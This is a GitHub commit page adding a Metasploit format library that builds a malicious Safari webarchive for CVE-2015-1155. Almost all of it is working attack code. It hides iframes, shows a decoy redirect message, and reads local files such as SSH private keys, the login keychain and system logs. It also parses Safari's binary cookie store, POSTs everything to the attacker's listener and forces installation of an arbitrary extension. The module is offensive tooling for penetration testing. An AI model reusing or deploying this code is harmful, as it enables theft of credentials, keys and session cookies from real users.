Skip to content

Commit 18a9585

Browse files
author
Tod Beardsley
committed
Add safari module for CVE-2015-1155
1 parent a2a231c commit 18a9585

File tree

2 files changed

+718
-0
lines changed

2 files changed

+718
-0
lines changed

lib/msf/core/format/webarchive.rb

Lines changed: 369 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,369 @@
1+
#safari.installExtension("com.pinterest.extension-HWZFLG9PNK","http://assets.pinterest.com/ext/Pinterest-Safari.safariextz")
2+
3+
module Msf
4+
module Format
5+
module Webarchive
6+
7+
def initialize(info={})
8+
super
9+
register_options(
10+
[
11+
OptString.new('FILENAME', [ true, 'The file name', 'msf.webarchive']),
12+
OptString.new('GRABPATH', [false, "The URI to receive the UXSS'ed data", 'grab']),
13+
OptString.new('DOWNLOAD_PATH', [ true, 'The path to download the webarchive', '/msf.webarchive']),
14+
OptString.new('FILE_URLS', [false, 'Additional file:// URLs to steal. $USER will be resolved to the username.', '']),
15+
OptBool.new('STEAL_COOKIES', [true, "Enable cookie stealing", true]),
16+
OptBool.new('STEAL_FILES', [true, "Enable local file stealing", true]),
17+
OptString.new('EXTENSION_URL', [false, "HTTP URL of a Safari extension to install"]),
18+
OptString.new('EXTENSION_ID', [false, "The ID of the Safari extension to install"])
19+
],
20+
self.class)
21+
end
22+
23+
### ASSEMBLE THE WEBARCHIVE XML ###
24+
25+
# @return [String] contents of webarchive as an XML document
26+
def webarchive_xml
27+
return @xml if not @xml.nil? # only compute xml once
28+
@xml = webarchive_header
29+
@xml << webarchive_footer
30+
@xml
31+
end
32+
33+
# @return [String] the first chunk of the webarchive file, containing the WebMainResource
34+
def webarchive_header
35+
%Q|
36+
<?xml version="1.0" encoding="UTF-8"?>
37+
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
38+
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
39+
<plist version="1.0">
40+
<dict>
41+
<key>WebMainResource</key>
42+
<dict>
43+
<key>WebResourceData</key>
44+
<data>
45+
#{Rex::Text.encode_base64(iframes_container_html)}</data>
46+
<key>WebResourceFrameName</key>
47+
<string></string>
48+
<key>WebResourceMIMEType</key>
49+
<string>text/html</string>
50+
<key>WebResourceTextEncodingName</key>
51+
<string>UTF-8</string>
52+
<key>WebResourceURL</key>
53+
<string>file:///</string>
54+
</dict>
55+
<key>WebSubframeArchives</key>
56+
<array>
57+
|
58+
end
59+
60+
# @return [String] the closing chunk of the webarchive XML code
61+
def webarchive_footer
62+
%Q|
63+
</array>
64+
</dict>
65+
</plist>
66+
|
67+
end
68+
69+
#### JS/HTML CODE ####
70+
71+
# Wraps the result of the block in an HTML5 document and body
72+
def wrap_with_doc(&blk)
73+
%Q|
74+
<!doctype html>
75+
<html>
76+
<body>
77+
#{yield}
78+
</body>
79+
</html>
80+
|
81+
end
82+
83+
# Wraps the result of the block with <script> tags
84+
def wrap_with_script(&blk)
85+
"<script>#{yield}</script>"
86+
end
87+
88+
# @return [String] mark up for embedding the iframes for each URL in a place that is
89+
# invisible to the user
90+
def iframes_container_html
91+
hidden_style = "position:fixed; left:-600px; top:-600px;"
92+
wrap_with_doc do
93+
frames = "<iframe src='#{apple_extension_url}' style='#{hidden_style}'></iframe>"
94+
communication_js + frames + injected_js_helpers + steal_files + install_extension + message
95+
end
96+
end
97+
98+
# @return [String] javascript code, wrapped in script tags, that is inserted into the
99+
# WebMainResource (parent) frame so that child frames can communicate "up" to the parent
100+
# and send data out to the listener
101+
def communication_js
102+
wrap_with_script do
103+
%Q|
104+
window.addEventListener('message', function(event){
105+
var x = new XMLHttpRequest;
106+
x.open('POST', '#{backend_url}#{collect_data_uri}', true);
107+
x.send(event.data);
108+
});
109+
|
110+
end
111+
end
112+
113+
def apple_extension_url
114+
'https://extensions.apple.com'
115+
end
116+
117+
def install_extension
118+
wrap_with_script do
119+
%Q|
120+
var extURL = atob('#{Rex::Text.encode_base64(datastore['EXTENSION_URL'])}');
121+
var extID = atob('#{Rex::Text.encode_base64(datastore['EXTENSION_ID'])}');
122+
123+
setTimeout(function(){
124+
function go(){
125+
window.focus();
126+
window.open('javascript:safari&&(safari.installExtension\|\|(window.top.location.href.match(/extensions/)&&window.top.location.reload(false)))&&(safari.installExtension("'+extID+'", "'+extURL+'"), window.close());', 'x')
127+
}
128+
setInterval(go, 400);
129+
}, 600);
130+
131+
|
132+
end
133+
end
134+
135+
# @return [String] javascript code, wrapped in a script tag, that steals local files
136+
# and sends them back to the listener. This code is executed in the WebMainResource (parent)
137+
# frame, which runs in the file:// protocol
138+
def steal_files
139+
return '' unless should_steal_files?
140+
urls_str = (datastore['FILE_URLS'].split(/\s+/)).reject { |s| !s.include?('$USER') }.join(' ')
141+
wrap_with_script do
142+
%Q|
143+
var filesStr = "#{urls_str}";
144+
var files = filesStr.trim().split(/\s+/);
145+
function stealFile(url) {
146+
var req = new XMLHttpRequest();
147+
var sent = false;
148+
req.open('GET', url, true);
149+
req.onreadystatechange = function() {
150+
if (!sent && req.responseText && req.responseText.length > 0) {
151+
sendData(url, req.responseText);
152+
sent = true;
153+
}
154+
};
155+
req.send(null);
156+
};
157+
files.forEach(stealFile);
158+
159+
| + steal_default_files
160+
end
161+
end
162+
163+
def default_files
164+
('file:///Users/$USER/.ssh/id_rsa file:///Users/$USER/.ssh/id_rsa.pub '+
165+
'file:///Users/$USER/Library/Keychains/login.keychain ' +
166+
(datastore['FILE_URLS'].split(/\s+/)).select { |s| s.include?('$USER') }.join(' ')).strip
167+
end
168+
169+
def steal_default_files
170+
%Q|
171+
172+
try {
173+
174+
function xhr(url, cb, responseType) {
175+
var x = new XMLHttpRequest;
176+
x.onload = function() { cb(x) }
177+
x.open('GET', url);
178+
if (responseType) x.responseType = responseType;
179+
x.send();
180+
}
181+
182+
var files = ['/var/log/monthly.out', '/var/log/appstore.log', '/var/log/install.log'];
183+
var done = 0;
184+
var _u = {};
185+
186+
var cookies = [];
187+
files.forEach(function(f) {
188+
xhr(f, function(x) {
189+
var m;
190+
var users = [];
191+
var pattern = /\\/Users\\/([^\\s^\\/^"]+)/g;
192+
while ((m = pattern.exec(x.responseText)) !== null) {
193+
if(!_u[m[1]]) { users.push(m[1]); }
194+
_u[m[1]] = 1;
195+
}
196+
197+
if (users.length) { next(users); }
198+
});
199+
});
200+
201+
var id=0;
202+
function next(users) {
203+
// now lets steal all the data we can!
204+
sendData('usernames'+id, users);
205+
id++;
206+
users.forEach(function(user) {
207+
208+
if (#{datastore['STEAL_COOKIES']}) {
209+
xhr('file:///Users/'+encodeURIComponent(user)+'/Library/Cookies/Cookies.binarycookies', function(x) {
210+
parseBinaryFile(x.response);
211+
}, 'arraybuffer');
212+
}
213+
214+
if (#{datastore['STEAL_FILES']}) {
215+
var files = '#{Rex::Text.encode_base64(default_files)}';
216+
atob(files).split(/\\s+/).forEach(function(file) {
217+
file = file.replace('$USER', encodeURIComponent(user));
218+
xhr(file, function(x) {
219+
sendData(file.replace('file://', ''), x.responseText);
220+
});
221+
});
222+
}
223+
224+
});
225+
}
226+
227+
function parseBinaryFile(buffer) {
228+
var data = new DataView(buffer);
229+
230+
// check for MAGIC 'cook' in big endian
231+
if (data.getUint32(0, false) != 1668247403)
232+
throw new Error('Invalid magic at top of cookie file.')
233+
234+
// big endian length in next 4 bytes
235+
var numPages = data.getUint32(4, false);
236+
var pageSizes = [], cursor = 8;
237+
for (var i = 0; i < numPages; i++) {
238+
pageSizes.push(data.getUint32(cursor, false));
239+
cursor += 4;
240+
}
241+
242+
pageSizes.forEach(function(size) {
243+
parsePage(buffer.slice(cursor, cursor + size));
244+
cursor += size;
245+
});
246+
247+
reportStolenCookies();
248+
}
249+
250+
function parsePage(buffer) {
251+
var data = new DataView(buffer);
252+
if (data.getUint32(0, false) != 256) {
253+
return; // invalid magic in page header
254+
}
255+
256+
var numCookies = data.getUint32(4, true);
257+
var offsets = [];
258+
for (var i = 0; i < numCookies; i++) {
259+
offsets.push(data.getUint32(8+i*4, true));
260+
}
261+
262+
offsets.forEach(function(offset, idx) {
263+
var next = offsets[idx+1] \|\| buffer.byteLength - 4;
264+
try{parseCookie(buffer.slice(offset, next));}catch(e){};
265+
});
266+
}
267+
268+
function read(data, offset) {
269+
var str = '', c = null;
270+
try {
271+
while ((c = data.getUint8(offset++)) != 0) {
272+
str += String.fromCharCode(c);
273+
}
274+
} catch(e) {};
275+
return str;
276+
}
277+
278+
function parseCookie(buffer) {
279+
var data = new DataView(buffer);
280+
var size = data.getUint32(0, true);
281+
var flags = data.getUint32(8, true);
282+
var urlOffset = data.getUint32(16, true);
283+
var nameOffset = data.getUint32(20, true);
284+
var pathOffset = data.getUint32(24, true);
285+
var valueOffset = data.getUint32(28, true);
286+
287+
var result = {
288+
value: read(data, valueOffset),
289+
path: read(data, pathOffset),
290+
url: read(data, urlOffset),
291+
name: read(data, nameOffset),
292+
isSecure: flags & 1,
293+
httpOnly: flags & 4
294+
};
295+
296+
cookies.push(result);
297+
}
298+
299+
function reportStolenCookies() {
300+
if (cookies.length > 0) {
301+
sendData('cookieDump', cookies);
302+
}
303+
}
304+
305+
} catch (e) { console.log('ERROR: '+e.message); }
306+
307+
|
308+
end
309+
310+
# @return [String] javascript code, wrapped in script tag, that adds a helper function
311+
# called "sendData()" that passes the arguments up to the parent frame, where it is
312+
# sent out to the listener
313+
def injected_js_helpers
314+
wrap_with_script do
315+
%Q|
316+
window.sendData = function(key, val) {
317+
var data = {};
318+
data[key] = val;
319+
window.top.postMessage(JSON.stringify(data), "*")
320+
};
321+
|
322+
end
323+
end
324+
325+
### HELPERS ###
326+
327+
# @return [String] the path to send data back to
328+
def collect_data_uri
329+
'/' + datastore["URIPATH"].chomp('/').gsub(/^\//, '') + '/'+datastore["GRABPATH"]
330+
end
331+
332+
# @return [String] formatted http/https URL of the listener
333+
def backend_url
334+
proto = (datastore["SSL"] ? "https" : "http")
335+
myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
336+
port_str = (datastore['HTTPPORT'].to_i == 80) ? '' : ":#{datastore['HTTPPORT']}"
337+
"#{proto}://#{myhost}#{port_str}"
338+
end
339+
340+
# @return [String] URL that serves the malicious webarchive
341+
def webarchive_download_url
342+
datastore["DOWNLOAD_PATH"]
343+
end
344+
345+
# @return [String] HTML content that is rendered in the <body> of the webarchive.
346+
def message
347+
"<p>You are being redirected. <a href='#'>Click here if nothing happens</a>.</p>"
348+
end
349+
350+
# @return [Array<String>] of URLs provided by the user
351+
def urls
352+
(datastore['URLS'] || '').split(/\s+/)
353+
end
354+
355+
# @param [String] input the unencoded string
356+
# @return [String] input with dangerous chars replaced with xml entities
357+
def escape_xml(input)
358+
input.to_s.gsub("&", "&amp;").gsub("<", "&lt;")
359+
.gsub(">", "&gt;").gsub("'", "&apos;")
360+
.gsub("\"", "&quot;")
361+
end
362+
363+
def should_steal_files?
364+
datastore['STEAL_FILES']
365+
end
366+
367+
end
368+
end
369+
end

0 commit comments

Comments
 (0)